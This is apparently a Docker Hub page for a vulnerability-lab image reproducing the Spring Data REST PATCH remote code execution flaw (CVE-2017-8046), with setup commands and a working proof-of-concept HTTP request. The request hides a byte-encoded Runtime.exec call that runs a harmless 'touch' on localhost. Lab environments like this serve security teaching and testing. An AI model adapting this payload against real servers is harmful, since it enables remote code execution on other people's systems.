Public | Automated Build

Last pushed: 3 months ago
Short Description
收集各种漏洞环境(Various vulnerability environment)与安全工具 ( http://vulapps.evalbug.com/ )
Full Description

Spring Data REST PATCH请求代码执行漏洞(CVE-2017-8046)

漏洞信息

获取环境:

  1. 拉取镜像到本地

    $ docker pull medicean/vulapps:s_spring_1
    
  2. 启动环境

    $ docker run -d -p 8080:8080 medicean/vulapps:s_spring_1
    

    -p 8080:8080 前面的 8080 代表物理机的端口,可随意指定。

使用与利用

访问 http://你的 IP 地址:端口号/, 假设启动的端口号为 8080

PoC

  1. 访问 http://127.0.0.1:8080/,测试服务是否启动成功

  2. 利用 POST 请求添加一个数据

     POST /persons HTTP/1.1
     Host: 127.0.0.1:8080
     Content-Type: application/json
     Cache-Control: no-cache
    
     {"firstName": "VulApps", "lastName": "VulApps"}
    

  3. 执行 PoC

    执行命令为: /usr/bin/touch /tmp/vuln,注意 Content-Type 值为 application/json-patch+json

PATCH /persons/1 HTTP/1.1
Host: 127.0.0.1:8080
Content-Type: application/json-patch+json
Cache-Control: no-cache
Content-Length: 228

[{ "op": "replace", "path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{47,117,115,114,47,98,105,110,47,116,111,117,99,104,32,47,116,109,112,47,118,117,108,110}))/lastName", "value": "vulapps-demo" }]

  1. 进入容器,发现成功创建文件

参考链接

改动日志

  • 2017/09/29 删除原 jar 包中 mongodb 依赖
Docker Pull Command
Owner
medicean
Source Repository